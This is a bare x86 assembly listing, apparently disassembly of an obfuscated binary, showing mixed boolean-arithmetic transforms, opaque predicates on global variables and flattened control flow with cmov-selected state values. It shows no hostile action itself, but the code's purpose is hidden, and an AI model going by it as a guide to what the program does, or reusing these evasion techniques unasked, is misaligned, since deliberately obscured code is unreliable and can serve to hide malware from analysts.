and edx, 0x112977ac
mov ebx, eax
and ebx, 0xeed68853
or ebx, edx
xor ebx, 0xeed68853
mov esi, ecx
and esi, eax
or esi, ebx
mov edx, esi
not edx
and edx, 0x25e4d564
and esi, 0xda1b2a9b
or esi, edx
mov edx, esi
xor edx, 0x25e4d564
and edx, esi
mov esi, ecx
and esi, 0xcadbb151
and eax, 0x35244eae
or eax, esi
xor eax, 0x10c09bca
xor ecx, eax
and ecx, eax
mov eax, ecx
not eax
mov esi, edx
xor esi, eax
and esi, edx
xor eax, ecx
and eax, edx
xor eax, ecx
or eax, esi
mov ecx, eax
xor ecx, 0x25e4d564
xor eax, 0xda1b2a9b
mov edx, eax
or edx, 0xc3e50509
mov ebx, ecx
mov ebp, eax
and eax, 0xd1b5038c
mov esi, ecx
and esi, 0x2e4afc73
or esi, eax
xor esi, 0x2e4afc73
or esi, ecx
or ecx, 0x18083294
and edx, 0xdbed379d
and ebx, 0x20028862
or ebx, edx
and ecx, 0xdbed379d
and ebp, 0x4104000
or ebp, ecx
xor ebp, ebx
xor ebp, 0x380abaf6
not esi
or esi, ebp
mov ecx, esi
not ecx
mov eax, ecx
and eax, esi
mov edx, eax
not edx
mov ebx, esi
and ebx, 0xe57d7ccc
and ecx, 0x1a828333
or ecx, ebx
or esi, edx
and edx, 0xe57d7ccc
and eax, 0x1a828333
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xce08b9af
and esi, 0x31f74650
or esi, ecx
xor esi, 0x31f74650
or esi, eax
mov eax, esi
not eax
mov ecx, eax
mov dword [esp + 4], eax
mov edi, dword [esp + 0xc]
mov ebx, edi
not ebx
mov eax, ebx
or eax, 0xa180630
mov edx, edi
or edx, 0x80073941
and edx, 0x8a1f3f71
mov ebp, ebx
and ebp, 0x54800082
or ebp, edx
and eax, 0x8a1f3f71
mov edx, edi
and edx, 0x2160c00c
or edx, eax
xor edx, ebp
mov dword [esp], edx
mov eax, esi
and eax, 0x46644b15
mov ebp, esi
xor ebp, 0xb99bb4ea
and ebp, ecx
or ebp, eax
mov ecx, ebp
mov ebp, edx
xor ebp, 0xa167f94d
mov dword [esp + 0x10], ebp
mov eax, edx
xor eax, 0x5e9806b2
mov dword [esp + 8], eax
and eax, 0x618d8714
mov edx, ebp
and edx, 0x9e7278eb
or edx, eax
mov eax, edx
xor eax, 0x9e7278eb
xor edx, 0x40800514
and edx, 0xc0a03555
mov ebp, eax
and ebp, 0x3f5fcaaa
or ebp, edx
xor ebp, 0xbe3928c3
and eax, 0x7e991d96
or eax, ebp
mov edx, ebx
and edx, 0xdfc0c478
and edi, 0x203f3b87
or edi, edx
xor edi, 0x5ea62611
xor ebx, edi
and ebx, edi
mov edx, ecx
mov dword [esp + 0x14], ecx
mov edi, ecx
xor edi, 0xb99bb4ea
mov dword [esp + 0xc], edi
xor ecx, 0x46644b15
mov dword [esp + 0x1c], ecx
mov edx, ecx
and edx, 0x7e991d96
and edi, 0x8166e269
or edi, edx
mov edx, edi
xor edx, ecx
and edx, edi
mov ebp, edx
mov edx, esi
and edx, 0x8166e269
mov ecx, dword [esp + 4]
and ecx, 0x7e991d96
or ecx, edx
xor esi, ecx
and esi, ecx
mov ecx, eax
not ecx
mov edi, eax
xor edi, 0x1c8d5a65
and edi, ecx
mov edx, ebx
not edx
or edx, eax
and eax, 0xe372a59a
or edi, eax
mov ecx, ebx
xor ecx, 0xa370859a
xor ebx, 0x14890860
and ebx, 0x548b2860
and ecx, 0xab74d79f
or ecx, ebx
xor ecx, edi
mov eax, ecx
xor eax, 0x548b2860
xor ecx, 0xab74d79f
mov edi, ecx
and edi, 0xba99ebd4
and eax, 0x4566142b
or eax, edi
mov edi, edx
not edi
or ecx, edx
and edx, 0xba99ebd4
and edi, 0x4566142b
or edi, edx
xor edi, eax
not ecx
or ecx, edi
mov edx, ebp
mov dword [esp + 0x20], ebp
mov edi, ebp
not edi
mov eax, edi
and eax, 0xb799d634
and edx, 0x486629cb
or edx, eax
mov ebx, esi
xor ebx, 0x2f51cd22
and ebx, esi
not esi
mov eax, esi
and eax, 0x2f51cd22
or ebx, eax
mov eax, edx
xor eax, 0x486629cb
mov dword [esp + 4], eax
xor edx, 0x98c81b16
and edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xc9c48d02
and edx, 0x363b72fd
or edx, ebp
or edi, 0x2f51cd22
or eax, edi
and edi, 0xc9c48d02
mov ebp, dword [esp + 0x20]
and ebp, 0x102a32dd
or ebp, edi
xor ebp, edx
not eax
or eax, ebp
xor eax, ebx
or esi, dword [esp + 4]
not esi
or esi, eax
mov eax, esi
not eax
mov edx, esi
xor edx, 0x3b216723
and edx, eax
and esi, 0xc4de98dc
or esi, edx
xor esi, ecx
mov dword [esp + 4], esi
mov eax, dword [esp]
xor eax, 0xfd1a3209
mov edx, dword [esp + 0x10]
and eax, edx
mov ebx, eax
mov ecx, dword [esp + 0x14]
xor ecx, 0xe5e67fae
mov esi, dword [esp + 0xc]
and ecx, esi
mov eax, dword [esp + 8]
and eax, 0x7763bf94
and edx, 0x889c406b
or edx, eax
mov ebp, edx
xor ebp, 0x889c406b
mov dword [esp + 8], ebp
mov eax, dword [esp + 0x1c]
and eax, 0xb64ebd30
and esi, 0x49b142cf
or esi, eax
mov edi, edx
xor edi, 0x2b1e74d0
and edi, ebp
or ebx, edi
mov dword [esp], ebx
mov edi, esi
xor edi, 0x49b142cf
mov ebx, esi
xor ebx, 0xea337674
and ebx, edi
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0xbf4582fc
and ebx, 0x40ba7d03
or ebx, eax
mov eax, ecx
not eax
or ebp, eax
and eax, 0xbf4582fc
and ecx, 0x40ba7d03
or ecx, eax
xor ecx, ebx
not ebp
or ebp, ecx
mov ebx, ebp
xor ebx, ebp
not ebx
and ebx, dword [esp]
xor dword [esp + 4], 0x3b216723
xor ebx, ebp
xor edx, 0x7763bf94
xor esi, 0xb64ebd30
mov eax, edx
and eax, 0x1e682041
mov ecx, dword [esp + 8]
and ecx, 0xe197dfbe
or ecx, eax
or edx, esi
and esi, 0x1e682041
and edi, 0xe197dfbe
or edi, esi
xor edi, ecx
not edx
or edx, edi
not edx
or edx, ebx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x9636f5fe
and eax, edx
and edx, 0x69c90a01
or edx, ecx
xor edx, 0x69c90a01
or edx, eax
mov esi, dword [esp + 4]
xor edx, esi
mov ecx, edx
not ecx
and esi, ecx
mov eax, esi
not eax
mov edi, eax
and edi, 0x8c5f8015
and esi, 0x73a07fea
or esi, edi
or eax, ecx
and ecx, 0x8c5f8015
and edx, 0x73a07fea
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov ecx, eax
mov edx, eax
xor edx, 0x71e779ee
and edx, eax
mov esi, eax
mov edi, eax
xor edi, 0x171782ca
and edi, eax
not eax
mov ebx, eax
and ebx, 0x1eb1c58d
and ecx, 0xe14e3a72
or ecx, ebx
mov ebx, ecx
xor ebx, 0x40400062
xor ecx, 0x10a1418c
or ecx, 0x8e188611
mov ebp, ecx
and ebp, 0xb737fa90
and ebx, 0x40c0016e
or ebx, ebp
mov ebp, edx
not ebp
or ecx, ebp
and ebp, 0xb737fa90
and edx, 0x48c8056f
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0x8211
xor ecx, 0x71e779ee
mov ebx, eax
and ebx, 0xf4c99636
and esi, 0xb3669c9
or esi, ebx
mov ebx, esi
xor ebx, 0xb3669c9
xor esi, 0xa4811212
and esi, 0xa5a31b5a
mov ebp, ebx
and ebp, 0x5a5ce4a5
or ebp, esi
xor ebp, 0x5a5ce4a5
or ebp, ebx
mov esi, ebp
not esi
and ebp, 0x5997da50
mov ebx, esi
and ebx, 0xa66825af
or ebx, ebp
mov ebp, ebx
xor ebp, 0xa66825af
xor ebx, 0xb789b730
and ebx, ebp
or ebp, ecx
and ecx, 0xee1e6d60
and edx, 0x11e1929f
or edx, ecx
and esi, 0x11e1929f
or esi, ebx
xor esi, edx
not ebp
or ebp, esi
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x30910004
and ebp, 0x886c0413
or ebp, edx
xor ebp, 0x886c0413
and ecx, 0x4702fbe8
or ecx, ebp
mov edx, ecx
not edx
mov esi, edx
or esi, 0xb69a0d34
and edx, 0xcfa858d8
mov ebx, ecx
and ebx, 0x3057a727
or ebx, edx
mov edx, ebx
xor edx, 0x2400810
xor ebx, 0x793255ec
mov ebp, esi
and ebp, 0xad8fb207
and ecx, 0x406040c8
or ecx, ebp
or esi, ebx
and ebx, 0xad8fb207
and edx, 0x52704df8
or edx, ebx
xor edx, ecx
not esi
or esi, edx
mov ebx, esi
not ebx
and esi, 0x5df5ed0
and ebx, 0xfa20a12f
or ebx, esi
mov ecx, ebx
xor ecx, 0x5d94800
xor ebx, 0xfa20a12f
mov edx, ebx
and edx, 0xd826b7d3
and ecx, 0x27d9482c
or ecx, edx
xor ecx, 0xd826b7d3
xor ebx, ecx
and ebx, ecx
or eax, edi
not edi
and edi, 0xe8e87d35
and eax, 0x171782ca
or eax, edi
mov ecx, eax
xor ecx, 0x3013cd0f
mov edx, eax
not edx
and edx, eax
xor edx, ecx
xor edx, 0x8689c03b
and eax, 0xb69a0d34
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xdeba574f
and edx, eax
and eax, 0x2145a8b0
or eax, ecx
mov ecx, eax
xor ecx, 0xdeba574f
mov esi, edx
not esi
mov edi, ecx
and edi, 0xbd45e9f3
and eax, 0x42ba160c
or eax, edi
or ecx, esi
and esi, 0xbd45e9f3
and edx, 0x42ba160c
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebx
mov dword [esp + 0x14], ebx
mov esi, ebx
not esi
mov dword [esp], esi
mov eax, esi
and eax, 0x78010160
and edx, 0x10c9418
or edx, eax
xor edx, 0x10c9418
mov eax, esi
and eax, 0x86f26a87
or eax, edx
mov ebx, eax
mov eax, ebp
and eax, 0x9020c42
mov edx, ecx
and edx, 0x54a9e121
or edx, eax
mov eax, edx
xor eax, 0x10090021
xor edx, 0x844024a
and edx, 0x4ce4e34a
and eax, 0x110b0c21
or eax, edx
mov edx, ebp
or edx, 0x4ca0e142
and edx, 0x4ce4e34a
mov esi, ecx
and esi, 0xa2101094
or esi, edx
xor esi, eax
mov edi, esi
mov edx, ebx
mov dword [esp + 0x10], ebx
mov eax, ebx
not eax
mov dword [esp + 4], eax
and eax, 0x227150dd
and edx, 0xdd8eaf22
or edx, eax
mov eax, edx
xor eax, 0xdd8eaf22
xor edx, 0x601018
and edx, 0x10e41018
mov esi, eax
and esi, 0xef1befe7
or esi, edx
xor esi, 0x8d89a8f
and eax, 0x183c8a97
or eax, esi
mov edx, edi
mov esi, edi
xor esi, 0xa254129c
mov dword [esp + 0xc], esi
xor edx, 0x5dabed63
mov dword [esp + 8], edx
and edx, 0x15085dff
and esi, 0xeaf7a200
or esi, edx
mov edi, esi
xor edi, 0xeaf7a200
xor esi, 0x15005cdc
and esi, 0x5df1fcdc
mov edx, edi
and edx, 0xa20e0323
or edx, esi
xor edx, 0x45cd764b
and edi, 0x183c8a97
or edi, edx
and ecx, 0xc4d3d4e
mov edx, ebp
and edx, 0xf3b2c2b1
or edx, ecx
xor edx, 0xeb8e4826
and ebp, 0xe7c37568
or ebp, edx
mov dword [esp + 0x1c], ebp
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x4cc20dbb
xor eax, 0xa27f5e7b
and eax, edx
and edx, 0xb33df244
or edx, ecx
mov ebp, edx
xor ebp, 0x4cc20dbb
mov esi, ebp
or esi, 0xa27f5e7b
mov dword [esp + 0x20], edx
xor edx, 0x10008000
mov ebx, esi
and ebx, 0x81c7250d
and edx, 0x5c008080
or edx, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0x81c7250d
and eax, 0x7e38daf2
or eax, ebx
xor eax, edx
not esi
or esi, eax
mov eax, dword [esp]
or eax, 0xe7c37568
mov edx, eax
not edx
mov ebx, edx
or ebx, 0x40163b
and ebx, 0x104016bf
mov ecx, eax
and ecx, 0x4d808000
or ecx, ebx
mov ebx, dword [esp]
or ebx, 0x104035ac
and ebx, 0x104037bf
mov dword [esp], ebx
mov ebx, dword [esp + 0x14]
and ebx, 0x3c0800
add ebx, dword [esp]
xor ebx, ecx
mov ecx, ebx
xor ebx, ebx
not ebx
and ebx, esi
xor ebx, ecx
mov esi, dword [esp + 0x20]
xor esi, 0x82197044
mov ecx, ebp
and ecx, 0x3d268f9b
and esi, 0xc2d97064
or esi, ecx
or ebp, edx
and edx, 0x18248a93
and eax, 0xc2d97064
or eax, edx
xor eax, esi
not ebp
or ebp, eax
not ebp
or ebp, ebx
mov ecx, edi
not ecx
mov eax, edi
and eax, 0xa0bf146f
xor edi, 0xa33e7df9
and edi, ecx
and ecx, 0x5f40eb90
or ecx, eax
mov eax, ecx
xor eax, 0x5f40eb90
xor ecx, 0xfc7e9669
and ecx, eax
or edi, ecx
mov ecx, dword [esp + 0x1c]
mov edx, ecx
xor edx, 0xa33e7df9
and edx, ecx
or eax, ecx
not ecx
and ecx, 0xa33e7df9
or ecx, edx
xor ecx, edi
mov edi, ecx
not edi
mov edx, edi
and edx, 0x23ceeafe
and ecx, 0xdc311501
or ecx, edx
mov edx, eax
not edx
or edi, eax
and eax, 0x23ceeafe
and edx, 0xdc311501
or edx, eax
xor edx, ecx
not edi
or edi, edx
mov ecx, edi
not ecx
mov eax, ecx
and ecx, 0x94649297
and edi, 0x6b9b6d68
or edi, ecx
or eax, ebp
not ebp
xor edi, 0x94649297
or edi, ebp
mov ecx, eax
xor ecx, edi
or edi, eax
not edi
or edi, ecx
mov ecx, dword [esp + 8]
and ecx, 0x91ae9824
mov eax, dword [esp + 0xc]
and eax, 0x6e5167db
or eax, ecx
mov ebp, dword [esp + 0x10]
mov edx, ebp
or edx, 0x6e5167db
mov ecx, edx
and ecx, 0xc04be63f
mov esi, dword [esp + 4]
and esi, 0x11a41800
or esi, ecx
mov ecx, ebp
xor ecx, 0x91ae9824
and ecx, ebp
mov ebx, ecx
not ebx
or edx, ebx
and ebx, 0xc04be63f
and ecx, 0x3fb419c0
or ecx, ebx
xor ecx, esi
not edx
or edx, ecx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, edx
xor ecx, eax
mov edx, ebp
mov eax, ebp
and eax, 0x80659e63
mov esi, dword [esp + 4]
and esi, 0x7f9a619c
or esi, eax
mov eax, dword [esp + 0xc]
or edx, eax
and eax, 0x80659e63
mov ebx, eax
mov eax, dword [esp + 8]
and eax, 0x7f9a619c
or eax, ebx
xor eax, esi
not edx
or edx, eax
not edx
or edx, ecx
mov eax, edx
xor eax, 0x8de365b3
and eax, edx
mov ecx, edx
not ecx
or ecx, eax
not eax
and eax, 0x721c9a4c
and ecx, 0x8de365b3
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xf8088f5d
and ecx, 0x7f770a2
or ecx, edx
xor ecx, 0xf8088f5d
xor eax, ecx
and eax, ecx
mov esi, edi
not esi
mov edx, eax
not edx
mov ecx, esi
or ecx, edx
not ecx
and esi, 0x8c39376d
and edi, 0x73c6c892
or edi, esi
and edx, 0x8c39376d
and eax, 0x73c6c892
or eax, edx
xor eax, edi
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x98fc0766
mov esi, eax
and esi, 0x6703f899
or esi, ecx
mov ecx, esi
xor ecx, 0x44018000
xor esi, 0x80040420
mov edi, edx
or edi, 0xa1047c21
or esi, 0x20a020c
and esi, 0xa30e7e2d
and ecx, 0x5cf18142
or ecx, esi
and edi, 0xa30e7e2d
mov ebx, eax
and ebx, 0x90
or ebx, edi
xor ebx, ecx
mov esi, ebx
xor esi, 0x20298
xor ebx, 0x8821c463
and ebx, 0x8a29c467
and esi, 0x75d63b98
or esi, ebx
mov ecx, esi
xor ecx, 0x34920910
and ecx, 0xb69a0d34
xor esi, 0x821c043
and esi, 0x4965f2cb
or esi, ecx
mov ecx, esi
xor ecx, 0xb69a0d34
and ecx, esi
and edx, 0x84100c14
and eax, 0x328a0120
or eax, edx
mov edx, eax
xor edx, 0x22880000
or edx, 0x60a243
xor eax, 0x80100804
and eax, 0x90120924
and edx, 0x26e8a653
or edx, eax
mov esi, edx
xor esi, 0x80010
xor edx, 0xd91759ac
mov eax, ecx
not eax
mov edi, ecx
xor edi, 0xffa37de2
and edi, eax
mov ebx, eax
or ebx, 0xffa37de2
or eax, edx
and edx, 0xbfa26d62
and esi, 0x180014
or esi, edx
mov edx, edi
not edx
mov ebp, edx
and ebp, 0x1e048fc1
and edi, 0xe1fb703e
or edi, ebp
or edx, ebx
and ebx, 0x1e048fc1
and ecx, 0x58001c
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
xor edx, esi
xor edx, 0x40011080
not eax
or eax, edx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xa2fba25e
mov edi, ecx
and edi, eax
mov ebx, eax
mov edx, eax
mov ebp, eax
xor ebp, 0xa3f7121e
and ebp, eax
and eax, 0x5d045da1
or eax, esi
xor eax, 0x5d045da1
or edi, eax
mov eax, edi
not eax
and edi, 0x122364ee
mov esi, eax
and esi, 0xeddc9b11
or esi, edi
xor esi, 0xeddc9b11
or esi, eax
mov eax, ecx
and eax, 0x8caa4d7f
and ebx, 0x7355b280
or ebx, eax
mov eax, ebx
xor eax, 0x41400000
xor ebx, 0x88000022
and ebx, 0xba15b2a2
and eax, 0x45ea4d5d
or eax, ebx
mov edi, eax
xor edi, 0xba15b2a2
xor eax, edi
xor eax, 0x45ea4d5d
and eax, esi
or esi, edi
not esi
xor eax, edi
or eax, esi
mov esi, eax
not esi
mov edi, eax
xor edi, 0x1db3d39b
and edi, eax
or eax, 0xe24c2c64
mov ebx, eax
and ebx, 0x577b1042
and esi, 0x880c399
or esi, ebx
mov ebx, edi
not ebx
or eax, ebx
and ebx, 0x577b1042
and edi, 0xa884efbd
or edi, ebx
xor edi, esi
not eax
or eax, edi
mov edi, eax
xor edi, 0xe24c2c64
and ecx, 0x37d1cb
and edx, 0xffc82e34
or edx, ecx
mov ecx, edx
xor ecx, 0x81800014
xor edx, 0x37100a
or edx, 0x5c08ede1
mov esi, ebp
not esi
mov ebx, edx
and ebx, 0x624ebb63
and ecx, 0x81b1001c
or ecx, ebx
or edx, esi
and esi, 0x624ebb63
and ebp, 0x9db1449c
or ebp, esi
xor ebp, ecx
not edx
or edx, ebp
mov esi, edx
xor esi, 0x5c08ede1
mov ebx, eax
xor ebx, 0x10131018
and ebx, 0x721b1038
xor eax, 0xe609e045
and eax, edi
mov ecx, edi
and ecx, 0x8de4efc7
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8de4efc7
mov edi, edx
xor edi, 0xa3f7121e
mov ebp, ecx
xor ebp, 0x765edc19
and ebp, ebx
or eax, ebp
mov ebp, edi
and ebp, 0x445cc21
xor edx, 0x584d21c0
and edx, esi
or edx, ebp
xor edx, eax
xor ecx, 0x721b1038
mov eax, ecx
and eax, 0x5929bf48
and ebx, 0xa6d640b7
or ebx, eax
or ecx, esi
and esi, 0x5929bf48
and edi, 0xa6d640b7
or edi, esi
xor edi, ebx
not ecx
or ecx, edi
mov eax, edx
not eax
mov esi, eax
and esi, 0xb33c37cd
and edx, 0x4cc3c832
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0xb33c37cd
and esi, 0x4cc3c832
or esi, ecx
xor esi, edx
not eax
or eax, esi
xor eax, 0xffffffff
sete ch
setne ah
cmp dword [0x10047904], 0xa
setl al
setge dl
mov cl, ah
xor cl, dl
and cl, dl
mov dh, dl
or dh, ah
mov bl, ch
and ah, al
xor al, ch
or ch, dl
mov bh, ch
xor bh, 1
or cl, bh
xor dh, 1
and bl, dl
or ah, bl
or ah, dh
mov dh, cl
xor dh, 1
xor cl, dh
and cl, ah
xor cl, dh
or dh, ah
xor dh, 1
or cl, dh
mov bl, cl
xor bl, 1
and al, dl
xor bh, al
xor al, 1
or al, ch
xor al, 1
or al, bh
mov ch, cl
and ch, bl
xor ch, 1
or ch, bl
mov dh, al
xor dh, 1
and dh, al
xor dh, 1
mov dl, al
xor dl, dh
or dh, al
xor dh, 1
or dh, dl
mov ah, dh
xor ah, 1
mov bh, dh
and bh, ah
xor bh, 1
mov dl, bh
xor dl, ah
or bh, ah
xor bh, 1
or bh, dl
mov dl, bh
or bh, bl
xor ch, 1
or ch, cl
xor dl, 1
or dl, cl
xor bh, 1
xor dl, 1
or dl, bh
and ah, ch
xor ch, 1
or al, ch
and dh, ch
mov ecx, eax
xor cl, 1
or ah, dh
mov ch, ah
xor ch, 1
and ch, cl
and al, ah
or al, ch
mov ch, cl
xor ch, ah
or ah, cl
xor ah, 1
or ah, ch
xor ah, 1
or ah, al
mov cl, ah
xor cl, 1
mov al, cl
and al, ah
xor cl, al
xor al, 1
or al, ah
xor al, 1
or al, cl
mov ah, al
xor ah, 1
mov ecx, edx
xor cl, 1
mov ch, dl
xor ch, ah
and ah, dl
and cl, al
or cl, ah
or al, dl
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
xor al, 1
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, edx
xor cl, al
test al, 1
mov edi, 0x25f577b2
mov eax, 0xf780ee1d
cmovne edi, eax
test dl, 1
cmovne edi, eax
not cl
test cl, 1
mov eax, 0x25f577b2
cmove edi, eax
jmp 0x10008b80
mov eax, dword [0x10047900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov esi, ecx
and eax, 0x140200
mov ecx, edx
and ecx, 0x22836487
or ecx, eax
xor ecx, 0x22836487
mov eax, esi
and eax, edx
mov dword [esp + 8], edx
or eax, ecx
mov edi, eax
not edi
or edi, 0x18409130
and eax, 0x106280
and edi, 0x3ac79537
or edi, eax
mov eax, edi
xor eax, 0x3ac79537
mov ebx, eax
mov ecx, esi
mov dword [esp], esi
mov eax, esi
and eax, 0x11036ebd
mov esi, edx
and esi, 0xeefc9142
or esi, eax
xor esi, 0x3394083a
mov ebp, esi
xor ebp, ecx
and ebp, esi
mov ecx, ebx
mov dword [esp + 0xc], ebx
or ebx, 0x1a55027b
mov eax, edi
xor eax, 0x5286800
mov esi, ebx
and esi, 0x20d302a8
and eax, 0x5286c04
or eax, esi
mov dword [esp + 4], edi
xor edi, 0x2056083
and edi, ecx
mov esi, edi
not esi
or ebx, esi
and esi, 0xe0d393a8
and edi, 0x2046407
or edi, esi
xor edi, eax
not ebx
or ebx, edi
mov edi, ebp
not edi
mov eax, ebp
xor eax, 0xe5aafd84
and eax, edi
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x292fea96
and eax, 0xd6d01569
or eax, ecx
mov ecx, edi
or ecx, 0xe5aafd84
or esi, ecx
and ecx, 0x292fea96
mov edx, ebp
and edx, 0x12500069
or edx, ecx
xor edx, eax
not esi
or esi, edx
mov eax, esi
xor eax, esi
not eax
and eax, ebx
xor eax, esi
mov esi, dword [esp + 4]
xor esi, 0xc0000208
mov edx, dword [esp + 0xc]
mov ecx, edx
and ecx, 0x22976485
and esi, 0xd000932a
or esi, ecx
or edx, ebp
and ebp, 0x2fff6cd5
and edi, 0xd000932a
or edi, ebp
xor edi, esi
not edx
or edx, edi
mov esi, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xa27fbf93
and eax, 0x5d80406c
or eax, ecx
xor eax, esi
xor eax, 0x5d80406c
or edx, esi
not edx
or edx, eax
mov eax, edx
xor eax, 0xdd689978
xor edx, 0x26601
and eax, 0xafb599a6
and edx, 0x504a6659
or edx, eax
mov ecx, edx
xor ecx, 0xd0580a6
xor edx, 0x50486640
and edx, 0xf2f87f40
and ecx, 0xd0780bf
or ecx, edx
mov eax, ecx
xor eax, 0xd0780bf
mov ebp, eax
xor ecx, 0xf2f87f40
mov esi, ecx
mov eax, dword [esp + 8]
and eax, 0xef5724b
mov ebx, dword [esp]
and ebx, 0xf10a8db4
or ebx, eax
mov eax, ebx
xor eax, 0xef5724b
xor ebx, 0xf10a8db4
mov ecx, ebx
and ecx, 0xc1e02bf5
mov edx, eax
and edx, 0x3e1fd40a
or edx, ecx
and eax, 0xc1e02bf5
and ebx, 0x3e1fd40a
or ebx, eax
xor ebx, edx
mov eax, ebx
not eax
and eax, 0xe2ded8f1
and ebx, 0x1d21270e
or ebx, eax
mov edi, ebx
xor edi, 0xe2ded8f1
xor ebx, 0x1d21270e
mov edx, esi
mov dword [esp + 0x1c], esi
mov eax, esi
or eax, 0xcaf84050
mov esi, ebp
mov dword [esp + 4], ebp
mov ecx, ebp
or ecx, 0x1033120
and ecx, 0xcbfb7170
and edx, 0x34040e80
or edx, ecx
and eax, 0xcbfb7170
and esi, 0x800f
or esi, eax
xor esi, edx
mov ebp, ebx
mov eax, edi
and eax, 0x83f0e306
mov edx, ebx
and ebx, 0x7c0f1cf9
or ebx, eax
xor ebx, 0x2cfcb2
or ebx, edi
mov dword [esp], ebx
and edi, 0x22070031
and ebp, 0x45082b0c
or ebp, edi
xor ebp, 0x45082b0c
and edx, 0x98f0d4c2
or edx, ebp
mov ebp, edx
xor ebp, 0x98f0d4c2
mov edi, edx
xor edi, 0x670f2b3d
mov eax, edi
and eax, 0x83dc1fb4
xor edx, 0x7ac2766d
and edx, ebp
mov dword [esp + 8], edx
and ebp, 0x7c23e04b
or ebp, eax
mov dword [esp + 0x20], ebp
mov ebx, esi
xor ebx, 0x103b12f
mov edx, esi
xor edx, 0xfefc4ed0
xor ebp, edi
xor esi, 0xe3311380
mov ecx, esi
and ecx, edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], edi
or edi, edx
and edx, 0x6a06c2f9
and esi, ebx
mov dword [esp + 0x14], esi
and ebx, 0x95f93d06
or ebx, edx
mov ecx, ebx
xor ecx, 0x95f93d06
xor ebx, 0x42060200
and ebx, 0x56f73f02
mov eax, ecx
and eax, 0xa908c0fd
or eax, ebx
xor eax, 0xd52b20b6
and ecx, 0x83dc1fb4
or ecx, eax
mov esi, dword [esp + 0x1c]
mov eax, esi
and eax, 0x31ff99c
mov ebx, dword [esp + 4]
and ebx, 0xfce00663
or ebx, eax
xor ebx, 0x7f3c19d7
xor esi, ebx
and esi, ebx
and ebp, dword [esp + 0x20]
mov eax, ecx
not eax
mov edx, esi
not edx
mov ebx, eax
xor ebx, edx
and ebx, eax
and ecx, 0xf5edce92
and eax, 0xa12316d
or eax, ecx
and edx, 0xf5edce92
and esi, 0xa12316d
or esi, edx
xor esi, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xccb68324
and ebx, 0x33497cdb
or ebx, ecx
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0xccb68324
and esi, 0x33497cdb
or esi, ecx
xor esi, ebx
not eax
or eax, esi
mov ecx, ebp
not ecx
xor ebp, ecx
mov esi, dword [esp]
and ebp, esi
xor ebp, ecx
mov edx, ecx
or edx, esi
mov ecx, ebp
not ecx
mov esi, ecx
and esi, 0xfe4efeca
and ebp, 0x1b10135
or ebp, esi
xor ebp, edx
or ecx, edx
xor ebp, 0x1b10135
not ecx
or ecx, ebp
mov edx, eax
not edx
mov esi, edx
and esi, 0x74f29852
mov ebx, eax
and ebx, 0x8b0d67ad
or ebx, esi
not ecx
xor ebx, 0x74f29852
or ebx, ecx
xor ecx, edx
and ecx, eax
not ebx
or ecx, ebx
mov eax, dword [esp + 0x10]
and eax, 0xe232a2af
mov ebx, dword [esp + 8]
or ebx, eax
mov esi, dword [esp + 0xc]
mov eax, esi
not eax
mov edx, eax
and edx, 0x9a8bc2a5
and esi, 0x65743d5a
or esi, edx
mov ebp, esi
mov esi, dword [esp + 0x14]
mov edx, esi
not edx
or eax, edx
and edx, 0x9a8bc2a5
and esi, 0x65743d5a
or esi, edx
xor esi, ebp
not eax
or eax, esi
xor eax, ebx
not edi
or edi, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0xe85a0d95
and eax, edi
and edi, 0x17a5f26a
or edi, edx
xor edi, 0x17a5f26a
or edi, eax
mov edx, edi
not edx
and edi, 0x3bb0ff16
and edx, 0xc44f00e9
or edx, edi
mov eax, edx
xor eax, 0xc44f00e9
xor edx, 0x3bb0ff16
mov esi, ecx
xor esi, edx
and esi, ecx
xor edx, eax
and edx, ecx
xor edx, eax
or edx, esi
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xd6774c20
mov esi, eax
mov dword [esp], eax
and esi, 0x2988b3df
or esi, ecx
mov edi, esi
xor edi, 0xd6774c20
xor esi, 0x2988b3de
and esi, edi
mov ecx, edx
and ecx, 1
and edi, 0xfffffffe
or edi, ecx
mov ecx, esi
not ecx
mov ebx, edi
not ebx
mov ebp, ecx
and ebp, 0x18ae7e98
and esi, 0xe7518167
or esi, ebp
or ecx, ebx
and ebx, 0x18ae7e98
and edi, 0xe7518167
or edi, ebx
xor edi, esi
not ecx
or ecx, edi
mov edi, ecx
not edi
mov esi, ecx
xor esi, 0x5f087f4
and esi, ecx
mov ebx, ecx
or ebx, 0x320f580b
mov ebp, esi
not ebp
and ebx, 0x33efdf4b
and edi, 0x41000b4
or edi, ebx
or ecx, ebp
and ebp, 0x33efdf4b
and esi, 0xcc1020b4
or esi, ebp
xor esi, edi
not ecx
or ecx, esi
not esi
and esi, 0xfa0f780b
and ecx, 0x5f087f4
or ecx, esi
mov esi, eax
and esi, edx
mov edi, esi
not edi
mov ebx, edx
